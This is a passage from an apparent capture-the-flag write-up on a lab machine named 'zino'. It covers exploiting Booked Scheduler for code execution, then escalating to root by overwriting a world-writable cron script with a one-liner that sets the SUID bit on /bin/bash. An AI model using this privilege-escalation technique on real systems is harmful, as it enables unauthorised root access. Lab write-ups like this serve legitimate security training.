FTP doesn't allow for anonymous logins, but SMB does have shares we can read.

Booked RCE

The only web port was port 8003, and it led us to this login page:

There are some exploits for this:

$ searchsploit booked            
----------------------------------------------------------- ---------------------------------
 Exploit Title                                             |  Path

Booked Scheduler 2.7.7 - Authenticated Directory Traversal | php/webapps/48428.txt
----------------------------------------------------------- ---------------------------------

We can use the credentials we got earlier to have RCE:

We can then get a reverse shell through nc:

Privilege Escalation

Cronjob Exploit -> Root

I downloaded linpeas.sh onto the machine and ran a scan. It found a cronjob we could hijack:

We can write to this file:

www-data@zino:/tmp$ ls -la /var/www/html/booked/cleanup.py
-rwxrwxrwx 1 www-data www-data 164 Apr 28  2020 /var/www/html/booked/cleanup.py

Here's the script contents:

www-data@zino:/home/peter$ cat /var/www/html/booked/cleanup.py 
#!/usr/bin/env python
import os
import sys
try:
        os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
        print 'ERROR...'
sys.exit(0)

Since there's a sys.exit(0) function at the end, we cannot just append code. What we can do is just create a completely new cleanup.py file within that directory.

echo 'import os;os.system("chmod u+s /bin/bash")' > cleanup.py

Then we can just wait for a bit for the script to execute.
